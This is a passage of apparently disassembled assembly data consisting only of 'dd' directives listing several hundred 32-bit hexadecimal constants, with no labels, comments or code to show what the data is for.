		dd 0EB240EDEh, 0AD90D2C3h, 54546EF0h, 0D7185D81h, 0F1F9C83Ch
		dd 0CA5E70F6h, 977350B0h, 503BA64Fh, 0B5848EEEh, 6F22A824h
		dd 9AB41FDBh, 0BE95316Bh, 0B5DB00F6h, 0DFCD83D2h, 6D753E7Dh
		dd 7BAC7986h, 5FDB3B00h, 0CFC0D77h, 768FA6E2h, 539DD1DEh
		dd 5113D2F0h, 1B33CC1Bh, 0A057D771h, 270D49D4h,	41FF03D6h
		dd 5B95475Fh, 64CEE037h, 0B3C3670h, 2ECE3E92h, 25E2DF91h
		dd 0DEF75E4Ah, 47B08C28h, 1E9667A9h, 7E1E2391h,	3F5AC1DCh
		dd 960A7D52h, 0EF9E3465h, 467189A9h, 8AB8F15h, 0FE22E8BCh
		dd 0A13B81ECh, 0B3DEE399h, 76DF25F3h, 64D8404Eh, 8CA30413h
		dd 6AAFBF96h, 46D3DB45h, 37D48012h, 81198F10h, 5F786153h
		dd 0F2FCC9FBh, 75110CE2h, 8459F51Eh, 132C4CDDh,	8A6170DDh
		dd 36F76151h, 88A0DDCEh, 4F19092Bh, 6671C57h, 6D61BB5Eh
		dd 758D877Ch, 0FA400EDCh, 4D2D738Ah, 0DA078FC1h, 0D4833781h
		dd 10A2D44Fh, 38B5C3D9h, 45468A28h, 0F7C129E6h,	311369E5h
		dd 0F488DCE8h, 0D8A2AF5Fh, 0F0120366h, 0D0E23489h, 142E27FFh
		dd 243F52Ch, 0DD6BBEC6h, 80F62F7Bh, 4756C1C1h, 0F0B763FAh
		dd 0B3FC553Eh, 8E7F89FAh, 736BC5FAh, 0DDA1FB5h,	0B8DE9F7Dh
		dd 0C862FEC6h, 2D15FD48h, 476E8068h, 67DDD904h,	0BBBA6DB0h
		dd 5FC9A2B6h, 0BC47C626h, 6FE14C86h, 0F66DC155h, 0BE5E1BCFh
		dd 5A175C1Ch, 0A2E1AEF5h, 0D12F874Dh, 0B1C9E2ACh, 9534829Bh
		dd 6766BB05h, 0A6D126AFh, 0A9C89E93h, 5E1AB6ACh, 703FADE2h
		dd 0AA9D5518h, 0D6CF808h, 0DB836460h, 9C991B77h, 6C65CE7Ch
		dd 0B2D8DFE5h, 0EE29FFEDh, 0F0BA1DA1h, 95C2FFFDh, 7A869EA1h
		dd 996E151h, 8BA0A63Eh,	28E4FFE1h, 0DF79FE8Fh, 72139D60h
		dd 71388BDBh, 89619FC3h, 79F34348h, 0FF6550F9h,	0A8D7FA49h
		dd 792160B4h, 0B37E7D66h, 9F77E39Fh, 603207F3h,	3D91A2Eh
		dd 0A71389D5h, 0D7E8FF96h, 0CA4CA645h, 7D49C1C1h, 22365398h
		dd 0A51FFFEAh, 5833177Dh, 7D791BAFh, 5D76CCBAh,	0AA46FDB9h
		dd 81B71BB1h, 6823CF8Eh, 6A44B68Ch, 0B6D4120Ah,	0CFA5E27h
		dd 90115F0Ch, 0CF3E7495h, 73F638BEh, 0E0D21F72h, 0BDC0B411h
		dd 9E17C4ECh, 45AFC897h, 5B59F5B4h, 0BC273569h,	0CB0EC4A4h
		dd 26770475h, 0C9534B3Ah, 0F11605E5h, 0C14EE1D7h, 97672B03h
		dd 4F258653h, 767BB300h, 0F8F08D46h, 0B7402A70h, 0A291B6B0h
		dd 3CB80480h, 6774DFF2h, 0AE577403h, 6F1D5AC0h,	0BF4374D3h
		dd 88E9BD82h, 15E190BDh, 13562291h, 58D16110h, 0BD684459h
		dd 0EB697FF9h, 0D2B7D452h, 9FDC23EBh, 78FFC08Ah, 0FEAB24A7h
		dd 0BDD72E09h, 0C959BBA2h, 0B6051555h, 710CF432h, 6877AF9Dh
		dd 0AE6B2517h, 98FDDC84h, 4F846D8h, 0CC4E1856h,	0C9A5B045h
		dd 0BA727F81h, 2824B9E8h
		dd 66998C53h, 97E24861h, 0A92CF01h, 0E7C72122h,	64C5BE9Dh
		dd 8B734D4Bh, 61FAD6E6h, 0F2FA838Eh, 80BE4002h,	952B0828h
		dd 69EE716Fh, 3D3FC3ACh, 0DAB01BD1h, 0E59FE4Ch,	0F7964033h
		dd 990CE71Dh, 0D8921DF4h, 0B256B505h, 3FDF5EA2h, 207EA22Eh
		dd 0C13861B2h, 0E3088AC1h, 0EA029278h, 91CDEE9Bh, 3D8912C7h
		dd 4ADBF03Ah, 0F03D37D6h, 643F6C27h, 0D999557Dh, 0DBEE9A57h
		dd 871DD10Dh, 28547D36h, 0F1E2BCAEh, 0DA35BC3Bh, 200E2F7Eh
		dd 5F9B2666h, 0E2347408h, 0B2AD7206h, 0DCDC37A5h, 407A485Fh
		dd 0FBB4533Dh, 0C2271CC6h, 0E233C13h, 301A1461h, 17327859h
		dd 0CB9D319Ch, 0B4DD0655h, 8B2D9EE8h, 4CE4C196h, 122A78A5h
		dd 9040EAA1h, 85456B8h,	71EE1CB7h, 0DAD92BD2h, 4E494BEDh
		dd 61111236h, 62358C41h, 7AA9C68h, 5E721EDBh, 40EB6DB4h
		dd 78EF2684h, 709DEC8h,	2932973h, 0C5727FBh, 0E72771Fh
		dd 4BF613F4h, 7B7DBB2Eh, 0D5F4E969h, 0EF805075h, 0ED0F5097h
		dd 64E7EF6h, 0E7B2841h,	7C4DF04Ah, 5991C4C5h, 0B465DCB2h
		dd 46C02126h, 12F7EFD2h, 96B222CFh, 0A5CB47A4h,	965CDC9Eh
		dd 1E5CC0EDh, 604744BCh, 61BF365Eh, 52858DFCh, 760E4B3Ch
		dd 0CCBCC777h, 31B3F7F5h, 64628EABh, 0DEFF7BFEh, 0EDB0D642h
		dd 5F10EFDAh, 1D0ED8DFh, 5A0D2D72h, 7280C295h, 4FC5BD1Ch
		dd 3838E7D4h, 766FE0D9h, 101782C1h, 73386Ah, 0E570C0A8h
		dd 0DDB70E4Ah, 20E23185h, 40A4DCA8h, 0DEAC6C3Ah, 0B16E5839h
		dd 55CABD0h, 7A2DB1E1h,	0F6A197E2h, 0BE22D15Eh,	849614F1h
		dd 5E169DD6h, 491B507Dh, 442B2CB9h, 96FB0922h, 723BB7B4h
		dd 0C9BD281Eh, 8D5E5652h, 99783992h, 92FC23C8h,	0F4C2BBF3h
		dd 13C55815h, 6665267Eh, 0F1660C64h, 0ED4268CCh, 6DE934AEh
		dd 0BAC4A66Fh, 2B7FAB36h, 6D82AE50h, 41E439DFh,	77235785h
		dd 671DC840h, 0B96A0998h, 0C0FA8538h, 5FBB5C4Ch, 0BB9F0891h
		dd 0F005E67Eh, 63925D18h, 1FD18DFAh, 207AAEE9h,	0B4EC6DAEh
		dd 6FCFF4Bh, 0C5CAF55Bh, 8505B3B6h, 0E9081D16h,	0C4C3C864h
		dd 82530B40h, 0FE7EA272h, 6EB52EEEh, 0D01233D9h, 0A053CD41h
		dd 0A0FA4FFBh, 1AA303B9h, 0EBD947AAh, 29C3B9D1h, 0D0D884A8h
		dd 5A277567h, 6BC11CCFh, 743DAE5Bh, 0D21CBDD4h,	72BB5D8h
		dd 6BEF6607h, 93655D9Dh, 0AEE5EE2Bh, 0A8ADBA0Bh, 0DE6C6EF8h
		dd 10DB2BAFh, 265A4212h, 45EBB46Eh, 99C74F43h, 0A6F910BCh
		dd 0ACE5135Ah, 0A0685EB9h, 0D95CB333h, 9524B711h, 0C1B1A082h
		dd 0DFC934ABh, 7752DE96h, 77A67CEAh, 507550EFh,	608B010Ch
		dd 0AF69E27Bh, 9399012Ah, 9B45610Dh, 38D5CFD7h,	0CCD8D19Eh
		dd 0FAAD27FBh, 0E93314B8h, 6BE0D17Ch, 0F8ECEFCh, 8F9CBAD4h
		dd 0DA1F120Eh, 48E49A0h, 23D0A7C0h, 836A85B7h, 0BDE11CAEh
		dd 0A02D6A5Dh, 64EADB6Bh, 55643073h, 0D046FCh, 5F2FA631h
		dd 1A1FB2B5h, 9D1D7D31h, 0A05C66F3h, 122338EDh,	77E8407Ah
		dd 27FB44FEh, 0ECF3089Dh, 222DF2C5h, 27A7689h, 0F7F5CD14h
		dd 0E9261907h, 0D0C6FAF2h, 0B4B51EF3h, 5A814563h, 388F12CEh
		dd 0D7189008h, 0CA13CE65h, 68F255CAh, 609CAF51h, 0ACE4894Fh
		dd 6AC03816h, 0B899661Eh, 5EF0E0BFh, 0BB266AE7h, 0E24A0FDAh
		dd 1CEBE69Ah, 0A1F72EAh, 95C2CE65h, 0D31AA430h,	94DC23BDh
		dd 0C4D70C6h, 293F18C9h, 0C91918B2h, 0B884B0A9h, 0ACC86E40h
		dd 705C59B4h, 36B5D887h, 7773AF17h, 499A2399h, 652B9C8Ch
		dd 0DDD0541Eh, 51C8288Eh, 0FD38B518h, 0A4D6F6A6h, 0DD27471Dh
		dd 80A0642Fh, 0F2E1AFC7h, 4D897517h, 0BB974E20h, 52DD92A9h
		dd 210B23B0h, 3BA7CDEEh, 1DEF0E66h, 7A2C4952h, 43DC66EBh
		dd 0A1B9FA7h, 9CC93EEDh, 4156C75Ah, 0B2505719h,	51E99A5Bh
		dd 0AA8AC1D4h, 0F7DDF900h, 60F33E00h, 0E039A625h, 3A131178h
		dd 696BD765h, 2DE92D3Bh, 0C506D122h, 0D90AC7E2h, 1E96141Ch
		dd 0C7AD7CB0h, 61210B7Fh, 0A7E63167h, 0B9D28A72h, 6F51A3Ah
		dd 0F8C2F99Dh, 9AC0C13Fh, 6FD76D88h, 255E931Dh,	8FDEA938h
		dd 9927AA03h, 9362F127h, 0D8F6DACAh, 2DFEA065h,	0F1FCCAF3h
		dd 8EB416D5h, 0E48B1D82h, 8C00C46Ch, 20B10034h,	0C2E61042h
		dd 87B2EC0Ch, 0C0C83A14h, 3F6B8286h, 943A823Dh,	0AA17C241h
		dd 16FA74C1h, 9C366841h, 8C5EC216h, 4CAB99FEh, 6608C8B5h
		dd 2D7A4891h, 0C3C2E976h, 3FE2D049h, 0DA9CD969h, 11E67643h
		dd 138A1A7Ah, 0FF93B28Ch, 0B31BB5AFh, 91006996h, 7065FFB3h
		dd 0A516AB75h, 0B3564206h, 0D97511ACh, 0AB62128Eh, 3DE7C627h
		dd 3E96DCEFh, 0BDA9CE41h, 3477D104h, 3BBB1298h,	0D9E894E9h
		dd 48C9A054h, 0A445EF60h, 0F830B4C5h, 23631809h, 0FE417755h
		dd 7534102Ch, 0D63777B8h, 9D944A90h, 17039B27h,	0C9797F6Dh
		dd 348C45C3h, 1D2E7B11h, 7A89B9A6h, 0D4DEEF9Fh,	3B24AE6Bh
		dd 24099B41h, 0BEE4B0CDh, 0AF38FE1Dh, 0E06268F8h, 9328FA21h
		dd 86F1B661h, 0E4101D59h, 18517356h, 8CE9C13Ch,	1C46AD4Dh
		dd 388E085Eh, 360FB159h, 0D3A0AA54h, 79036447h,	1B405564h
		dd 55C3CC10h, 9727509Ch, 0E3DC49EAh, 843FCAE7h,	3E055D70h
		dd 0B7034B60h, 69345B7Eh, 39700670h, 9F2D5C21h,	98A6FE14h
		dd 0D866866Bh, 996F20Bh, 8E4B3633h, 307D2D81h, 0E920C46Ch
		dd 5DB84CEBh, 0F493BBEFh, 0DD8B63F5h, 0DBDF8C72h, 1058F566h
		dd 0CE90B506h, 0A7658F8Dh, 4B3C39B0h, 0AF398B86h, 44819C63h
		dd 0AACB25C8h, 22D89C33h, 86565ABCh, 6E75AB68h,	48B08656h
		dd 0C3A3C973h, 0BBAB5042h, 87938B40h, 2A024A0Eh, 7CBA4537h
		dd 1EA9182h, 0A63D27D0h, 5119F9FAh, 0FCADEC18h,	0F9BF5D9Bh
		dd 3858A3E1h, 1272B7D4h, 88748398h, 538D74DAh, 0D635766Bh
		dd 0FE9005D9h, 0F348B6CAh, 2AFFC0E1h, 8495E655h, 0FA1A9ABDh
		dd 3A51FA77h, 11F4A59Eh, 762A5F8Dh, 5728F04Ah, 47174557h
		dd 93B18CB4h, 5A391DBCh, 5A4BFB2Bh, 0C215CCA1h,	4821796Ch
		dd 0D34D505Ah, 76A56A9Fh, 0B967AAF7h, 0F6FA478Ch, 0CAC60FC7h
		dd 0C34FAECFh, 182F7B4Dh, 0F18CCAEh, 0C6BC39C8h, 2577FB78h
		dd 9AF98B85h, 3C280EDh,	0BB6402F9h, 14B17200h, 95991C83h
		dd 221213E0h, 9542BD65h, 86B23373h, 0D0D1A1F4h,	0EC2C469Ah
		dd 119B763Fh, 51A54063h, 379B7461h, 3FDCF46Bh, 0FADBF2DBh
		dd 0CA25C447h, 2399633Ch, 6E4280F7h, 0E54861F8h, 0D71822EAh
		dd 0A2777EFFh, 8CBC42B4h, 0FBE8AF08h, 7636FDE8h, 91F8923Ah
		dd 0BC8269FFh, 1656C336h, 0D4225F8Eh, 2871D996h, 370A9E8Dh
		dd 0DD52F755h, 8A88488Bh, 0FE22165Bh, 24529C75h, 0D8B62949h
		dd 1FCEC0F7h, 0E3D7E9E9h, 64F402A8h, 7B18CB83h,	0CA6A3F4Ah
		dd 0CA925149h, 5C0876D5h, 0B4991824h, 0C1DC8287h, 4E96F58Fh
		dd 78B5364Dh, 1BA227D5h, 48F75613h, 0B5FE2471h,	0D60FDBC5h
		dd 2845B450h, 0D258C74Ah, 0B7C926F8h, 5D3F71D5h, 55E2F797h
		dd 23F1C433h, 7A7BB0CEh, 6777D8DDh, 10430AF7h, 0ECE65E15h
		dd 610EB88Ch, 6F46B166h, 158A3EA1h, 18107F24h, 27DB2974h
		dd 0F39246Eh, 0FF80F155h, 1B8F8FC6h, 39A691F2h,	7510ED65h
		dd 26BCEED7h, 14BBFC81h, 0BDEE1688h, 4713B56Ch,	5E3FB115h
		dd 0A147F844h, 329DBB7Ch, 0D6174316h, 0D5F8D3D3h, 0F2148C55h
		dd 0D588280Fh, 0CB9C2415h, 37C91BE4h, 0B9C22A19h, 8B5DB559h
		dd 0F242E404h, 61591B8Ch, 0EF98C3AFh, 577E76BCh, 2E91A518h
		dd 64D166B3h, 61BE03A9h
		dd 0BA39D79Eh, 0B560E979h, 9A91D279h, 0D4595709h, 14EACF13h
		dd 0BB4E9408h, 0FAC40314h, 583B8B3Ch, 0B2C6E3E9h, 0A21FB7DDh
		dd 0BACCB83Eh, 0E88BADF9h, 10C3FE80h, 0E4203FFCh, 146B7C30h
		dd 1CD8396h, 1CC784D8h,	0E04E03D5h, 3695EAE7h, 0F2A58DA0h
		dd 5E852122h, 0AB784314h, 64CCAC74h, 28B74386h,	32DAE81Eh
		dd 0D2DFAD2Eh, 0E18894B3h, 0C1CE00DCh, 0B3AF2EF8h, 5ABC8991h
		dd 69ECB2FBh, 0E799DDBEh, 39839176h, 0A2024D34h, 967B12F4h
		dd 0B886AB9h, 735B81D7h, 0C80A99CAh, 29EDD227h,	0C3A4F8E9h
		dd 340606C8h, 0B5DAB4FBh, 77A499CCh, 3BD498C8h,	0BFACEB45h
		dd 4318B0ABh, 0C409D37Ah, 0B2A6B71Bh, 0F5789E7Ch, 0A09892B4h
		dd 774D60Eh, 6D341657h,	69B17AC1h, 75928059h, 30CEFC78h
		dd 0EB56A598h, 0B5600BFBh, 0D36BCDA8h, 0EAD73949h, 792DA149h
		dd 3D589084h, 2A472B8Bh, 0C28669E5h, 3FE6F974h,	419EC9F3h
		dd 6D1C1662h, 0DF0DDE78h, 39AEFB37h, 0AE4E0CD6h, 0A277F883h
		dd 0AAF0D86Ch, 50F3ABB9h, 69417387h, 3BCD979Fh,	0C85044A4h
		dd 38033E2Bh, 5B4A6997h, 0A1DC0207h, 31CEF5EEh,	0A9D6A95Bh
		dd 5DF378D7h, 0B71FAD49h, 6538BC91h, 0D202A6F4h, 56BBCD43h
		dd 280DD956h, 9005B105h, 0BE7980A1h, 5BE63659h,	2AC971C7h
		dd 0C09285C0h, 0F1956E40h, 0A1754C8Ch, 40E8DCD9h, 0AD55147Bh
		dd 5ADAD67Fh, 75DDBC6h,	60F911FCh, 791A0D2Ah, 7EDC6FA2h
		dd 2FEC6E00h, 50E3B6EFh, 0FDD7E8C0h, 0AF4FD309h, 0B5AAD10Dh
		dd 0E97DB11Ah, 0BEDC1026h, 9787A8B1h, 9FD2AEE3h, 0DE33A913h
		dd 0D1D546CDh, 0E926B957h, 563E24B9h, 756DE438h, 767F5288h
		dd 4542CD32h, 5DEABF14h, 0D7C976E2h, 56917B2Eh,	0C481F416h
		dd 69225AEEh, 0A7B8A3DFh, 2E970CFBh, 0C4AF58ABh, 57DF2A43h
		dd 0E267CF5Fh, 4A456FEFh, 8E090778h, 32F342B8h,	20C8C433h
		dd 7C1D8990h, 2E192001h, 9A810D27h, 0C8EA059Bh,	56ACCF58h
		dd 0C279D060h, 6F9CF631h, 0FA16D2EEh, 156ECB27h, 0C787C3F7h
		dd 0FFC1E15Bh, 9770396Ch, 28214005h, 871DBCDCh,	0DBFB4DABh
		dd 18D62A46h, 15F54E6Dh, 0DEB55A98h, 9F2FB97Dh,	0B9B8C84Bh
		dd 7DFB354Bh, 72D1DF23h, 5B30683h, 68A731ECh, 0C68DDAFAh
		dd 361E2A36h, 0A6A4E084h, 7466B4E7h, 667950CEh,	202C3CEFh
		dd 0B3E9790Bh, 0B03B62EFh, 87E4BEF4h, 0A9D65770h, 0E8C161Dh
		dd 0C34A8153h, 34C7BBA1h, 0C692B705h, 1E147D29h, 1B576A21h
		dd 5C496E36h, 6F212DBAh, 82027E4Ah, 936B7E17h, 31A86D80h
		dd 0D32B60ADh, 0D6251532h, 0B6BED77Bh, 9D91AD32h, 1065796Ah
		dd 43142303h, 8339401Fh, 70992A0Fh, 43495339h, 0C421ACAEh
		dd 36932802h, 7170A077h, 0FE77E71h, 9D4A7E3Bh, 0C3EE0459h
		dd 24BF3ADBh, 6EF8DD5Fh, 4853E558h, 9B21809Dh, 9DEF95D1h
		dd 0EABD5F62h, 3FCC1FADh, 0A38444A9h, 0F43F16E5h, 0FF460F9h
		dd 4AB50770h, 0B3140616h, 58E3AD58h, 24A96DFh, 0CF80FC92h
		dd 0B45D7BB0h, 0D88B9708h, 0CC03463Bh, 79F8A414h, 416F5DB8h
		dd 70CF4E0Eh, 0B8C5C0FCh, 546D214Bh, 0CBFDFF9Ch, 0ADADF987h
		dd 0FB966008h, 9F6E460Ch, 6DE4F78Bh, 740CB46Ah,	0E87F4115h
		dd 49206A01h, 0E050311Fh, 40CD770Ah, 10E8C582h,	0C2B29816h
		dd 4FA903DEh, 216F01BBh, 328AF213h, 0C38F2B9Bh,	2623F070h
		dd 21C2289Dh, 2797B2BCh, 0FCB1EB15h, 0A3E854E2h, 0BF3F476Dh
		dd 54A6487Eh, 0E422B85Fh, 0FB214600h, 0A9BBF75h, 99A197E1h
		dd 51813C46h, 810982Fh,	0AF8404CCh, 0A5221821h,	0A7B56FE8h
		dd 0A17611E9h, 102107CAh, 356DB9BCh, 0EB784F6Bh, 2EF7AD3Ah
		dd 0B11AD066h, 43062EE9h, 3C88FD2h, 101D475Ah, 3D2AD2E2h
		dd 8767A23Fh, 1AF37D97h, 0A7C1BE8Fh, 0B7660BA4h, 22F279B7h
		dd 0ECDD1C47h, 0A475D370h, 0B7F2158Ch, 6265CF36h, 85D100A5h
		dd 2E777CB8h, 46965E9Ah, 5095D92h, 736ABF29h, 0BD144045h
		dd 0A298A557h, 0F14EABA9h, 0CE5F2071h, 0D1EA2511h, 89EF721Eh
		dd 5C6E34E3h, 0E2B5D6D5h, 9204C90h, 1690ADA3h, 154CD3B9h
		dd 3B855298h, 7E65F666h, 5D99C8Dh, 435DC009h, 0EA983E98h
		dd 8B260D0Eh, 0F44BB8CAh, 9928EDDEh, 0A6A165C7h, 6E93D252h
		dd 66FF35B7h, 7BFA3936h, 9BFEE65h, 42936DBCh, 114F0EDh
		dd 6C6509FEh, 4AA6826Ah, 51FF8091h, 37442473h, 53689E59h
		dd 2FC5A093h, 0CF260219h, 66F27C4h, 0D8F15874h,	24463431h
		dd 43E1E0C5h, 1CFDF7BEh, 0C9B91E35h, 0C4637B02h, 0B08BFA71h
		dd 5E7AE4DCh, 0A50AFC80h, 8ECB1679h, 0A52BCBAAh, 0F1E2F5CFh
		dd 71B92DF5h, 0F1DDEAEAh, 50AFC4DEh, 2D80456Bh,	88B12720h
		dd 0FBCD3D9Fh, 0E37C4828h, 0ED5E2787h, 0BD78A23h, 38421D94h
		dd 5BB99FBBh, 0C3F43951h, 0D6436CC5h, 0F787A210h, 0D98625FDh
		dd 0EEF1C16Ah, 7C69730Fh, 0AF714EDh, 0BF8912D6h, 0EE2213A6h
		dd 0E307918Ch, 1CEF5F4Eh, 1DC86827h, 0C32E1BF1h, 444B1BA4h
		dd 0AF5888DFh, 45AB9735h, 952D0D5Ah, 0AA418FB5h, 0B8690423h
		dd 8EAE727Ah, 4CE67DE9h, 490BDFD4h, 9B068684h, 0C83C7032h
		dd 25CF05E9h, 8E91BD96h, 423FEBD5h, 0FFB2F20Dh,	9249FAEDh
		dd 0DA38ED7Dh, 9E1C4282h, 373B382Fh, 8A9D6619h,	3B1AF6D2h
		dd 359EC49Fh, 8A0DD5B6h, 0D5747E5Dh, 0A9AD292Dh, 0A4110782h
		dd 5D1B2BD7h, 0B63AB2ACh, 7B18635Eh, 8E4E9593h,	2B518D36h
		dd 542047E1h, 69D81B61h, 0E6E0DB56h, 0FF02C17Eh, 6C23CFFh
		dd 190CD4ECh, 85476B5Eh, 3DBA77BBh, 0C6473D05h,	1BD6490Ch
		dd 5E3018Ch, 35DECB9Ah,	9FBD8F16h, 708E36BEh, 0D2F12A10h
		dd 0D638BE7Fh, 24A13A02h, 29A6E7B0h, 0B1C76BD4h, 0BA08B473h
		dd 0FC589404h, 10511030h, 63950B21h, 2BC3199Dh,	3984B9F6h
		dd 2010B69Eh, 620F48C8h, 0F1CF85AFh, 0DA590E0Ah, 724E6EB3h
		dd 17A23C6Eh, 0B0D06088h, 25F6A8C5h, 0E45C5C20h, 6A782445h
		dd 93620A29h, 105356B2h, 0FC899CEDh, 97BF31BCh,	847EF6DEh
		dd 3C476E87h, 10987257h, 8749295Ah, 1CD98AA5h, 0BBE7A8Fh
		dd 255266F0h, 8A48BC9Ch, 3E133880h, 8B99F7B1h, 57068A77h
		dd 0BE60D0E5h, 4505BDF8h, 5A341565h, 6AE7AAE8h,	8F48DC79h
		dd 85A42871h, 0C70DCD19h, 37350BE8h, 0F915CBCBh, 0A8746E08h
		dd 962C7452h, 27B03727h, 409A7C29h, 98E9503Ch, 2DA0FF08h
		dd 1BD9B015h, 0F508E488h, 11418CACh, 6EE5A068h,	6B86A655h
		dd 0A7166269h, 3339CB2Dh, 896EC365h, 92842A2Ah,	4A1B5AF5h
		dd 0D6785943h, 7C0A78D5h, 33825E30h, 3A2D73F1h,	64B2C345h
		dd 0CF4449C9h, 2FED72Fh, 9CCD96E1h, 0E9ACAEDCh,	0C2B623F5h
		dd 1FB30AFAh, 0B2DA5C0Ah, 7E0DEFAAh, 8576591Eh,	2040A2D4h
		dd 5F6ADC37h, 0CC6D36DBh, 11F5BE97h, 0C16C75F4h, 0E6446000h
		dd 0D2C51819h, 3E6C2692h, 0E0F873C7h, 0EB27C50Dh, 0BC6089A4h
		dd 719DFCA3h, 9DB50CBBh, 30B7C901h, 0BA0E79Ah, 79780ECFh
		dd 0C780C63Ah, 520F423Ah, 0BD6B99B6h, 78C6B539h, 0FAE62999h
		dd 2EE73E3Dh, 4D80A610h, 0FE00999Eh, 5B5590ADh,	712F27BEh
		dd 0E472A3EEh, 0E2935B20h, 580D2FC5h, 5BE52BA8h, 0E2D93774h
		dd 3D16816Bh, 760BF183h, 0E9F8DEE0h, 0FBEBFD1Bh, 98D70B9Fh
		dd 0BA11EA49h, 0A6A7440Bh, 47160F81h, 0A7961FC3h, 0EE48287h
		dd 3087F144h, 0A1672DFAh, 3A87A2C6h, 37118116h,	0EC7F609Dh
		dd 6FEC2A3Fh, 0F30FE6C3h, 7197EE95h, 88781D18h,	5CBA9943h
		dd 0B446EDADh, 9C68F02Bh
		dd 0ED8E80Bh, 7E2F90E4h, 6CC4EE0h, 84ABDAF8h, 9E39B6F8h
		dd 4CA1B541h, 0D48F577Dh, 0A1E9E366h, 2DC9FC58h, 7795906Bh
		dd 0A2F8F36h, 0ED43CD78h, 1D76E921h, 81BE02F9h,	9220E572h
		dd 0A4DFB1F3h, 90834B41h, 0E336F737h, 0A46553Ch, 630409Dh
		dd 0EC846B84h, 22C75D9Ah, 0BC1F9904h, 0CED19E61h, 9CC700Ah
		dd 3F85E49Ah, 0FD82877Ch, 1BFFEBA0h, 773B75D7h,	1A1630Dh
		dd 0E40152ECh, 0EB1BD6FBh, 67F15064h, 0DC373F27h, 0D2152FEBh
		dd 0C25C79D0h, 1C9B6232h, 0DEDABD7h, 89CC83CBh,	3AF77702h
		dd 69D56549h, 3B6A1C56h, 9515BEB5h, 3E107092h, 0B2D72BBEh
		dd 7F3060B4h, 0C9CCE49Fh, 0ADB271CAh, 0DDF13DCBh, 43557AB9h
		dd 0EADDB31Eh, 0E060CE4Eh, 0AC87234Dh, 503D70FEh, 0CE93EC0Eh
		dd 772047B3h, 0E3B7CE9Ah, 0DB94D63Fh, 237926E7h, 0CED03A95h
		dd 41DFC98Bh, 5FD719F4h, 7DF0BAE6h, 86DD67C8h, 113C3B8Bh
		dd 0FE9B94F1h, 0F0B81CC8h, 94799071h, 98099687h, 98DDF1F8h
		dd 5A0B7493h, 8E58D14h,	0EAA86315h, 821C1505h, 7283F7F6h
		dd 3449EC3Fh, 141E1F63h, 32A78468h, 0DC8FA35Ch,	0B10507E2h
		dd 64C9C0E4h, 0EC4AE760h, 0F62E7764h, 6052FFEh,	0CE6FC303h
		dd 5608DA5Fh, 0D0E177A5h, 5F447521h, 8B13F7C7h,	449E6986h
		dd 0F4932596h, 43C944C6h, 2C898820h, 0FDA7427Ah, 38C80A3Fh
		dd 1D8FD891h, 462BEE55h, 945C085Ah, 0DB798559h,	660BCA72h
		dd 7B0F340Bh, 6D28B39h,	0BF06A3F4h, 4A6DCBE6h, 0B811D7D7h
		dd 0F5A519A2h, 265501B6h, 0EBF5CEDAh, 2E834F34h, 0D7570951h
		dd 0DDEFF219h, 2467F9AAh, 7B55D7DAh, 449785Dh, 35C71EA5h
		dd 0ED3148B8h, 196EBEEBh, 7CB657C0h, 0AC64D014h, 0F7CB959Ah
		dd 1F1B9DD8h, 0C83F1C6Dh, 83EE6455h, 0E087389h,	0C3DBF7AAh
		dd 0E4B44A89h, 0C485FE9h, 75C93C20h, 0B5A5BDF2h, 0AB82A801h
		dd 1F7367C1h, 4E3B16h, 0CED1E39Eh, 0E9A9F144h, 77FEF3F9h
		dd 3DB85DEBh, 0A29CEEF2h, 0E572824Fh, 0E2EA0AB5h, 8CD31C67h
		dd 535AE4D3h, 651759F3h, 4AACB4E3h, 0D6BC6A82h,	0F4B2096Ah
		dd 0E83F3708h, 0DF5F1E73h, 0B8DAA856h, 190DA334h, 0B14E894Ah
		dd 0FCE7D96h, 2BD09E46h, 3B775051h, 70C4C208h, 76F0A360h
		dd 794D9115h, 2C8B452h,	9CBA0BDAh, 0F3CCEA8h, 0C7368AA9h
		dd 633942CFh, 0EE691A61h, 96904C9Fh, 622E6E8Fh,	0FA2C78CCh
		dd 9DCEE8ACh, 53AB28A2h, 0EE07F79Ah, 0A32DB7E2h, 4E49B451h
		dd 0A1F35076h, 6C55B3E2h, 6325EFFAh, 4E0D5D50h,	1567EF7h
		dd 0D425DBE6h, 7E882B9Eh, 6D68015Ah, 3FF9798Ch,	5FE8C2B8h
		dd 876A04B1h, 0B8CAEA1Fh, 1DE29EF7h, 94005CA6h,	48DFDA5Fh
		dd 0ED0A8D30h, 8C5B4518h, 0AE84A1EFh, 0AC1F5761h, 0EFA693CDh
		dd 41261B87h, 7875E809h, 58A9DDDDh, 54489450h, 7E6FF121h
		dd 0E451657Fh, 0F8AB4720h, 9DE99D86h, 8EF34C4h,	44A92F7h
		dd 9D888F6Eh, 0CD2DDD2Bh, 7F8DDDF5h, 259F5128h,	3EF8D09Ch
		dd 2AFA5F45h, 0DEEA4926h, 29FB70AEh, 0D6DA0292h, 2C23290Ah
		dd 320387D2h, 0C20FD032h, 0F99BD10Fh, 82D508D8h, 0EF737337h
		dd 6B645666h, 7B712CC4h, 77712488h, 3276A319h, 2C5E746Ah
		dd 3CF2B588h, 56E519D3h, 0B60EDA10h, 0C193A17h,	1D134329h
		dd 0EC6C2A05h, 0CDB8A8BAh, 1F505C05h, 0E7846A07h, 7655AE6Dh
		dd 64640329h, 28012244h, 0F630A695h, 536D07DBh,	0B9F800C8h
		dd 4C675B97h, 770DEA25h, 55C33E4Bh, 5EAF7912h, 0AA56B421h
		dd 11E692Ah, 0E20B7FF9h, 8C0C54EDh, 0F62DE99Fh,	190347CAh
		dd 8235854Fh, 203A5683h, 0D17BBE92h, 10354490h,	0DE94F816h
		dd 0EC1F908Fh, 434432C2h, 5D8EC02Ch, 42125CBBh,	0FC2ED490h
		dd 1A67DCC1h, 0DDE0D19h, 484D8141h, 0B9DEA9C8h,	0CB330739h
		dd 625D9B3Fh, 14B14215h, 0F86DBF41h, 0C9E1E336h, 24D5AD80h
		dd 535F8FC3h, 0D935AF5Ch, 2A9A2308h, 95B4F853h,	0AA962D15h
		dd 0EEB9EB00h, 0DF1D1BEBh, 1654AA9Eh, 337775BDh, 608EEAF1h
		dd 4E0DC729h, 8D303EC9h, 5CEA470Bh, 0E2E61A59h,	0CB26AA9Ch
		dd 8916552h, 0DB3138F2h, 138CEE19h, 0B252FF8Ch,	0F3498661h
		dd 805B038h, 7E2673C5h,	0D81BDB8Ch, 0E905145Bh,	0BE535151h
		dd 2186BECCh, 0E575AB8Eh, 0ED844CC0h, 8B1A68BDh, 5BF92F5Fh
		dd 7D28DC00h, 592F2D0Ah, 0C25C083Fh, 9B7675D4h,	0D73C5CB0h
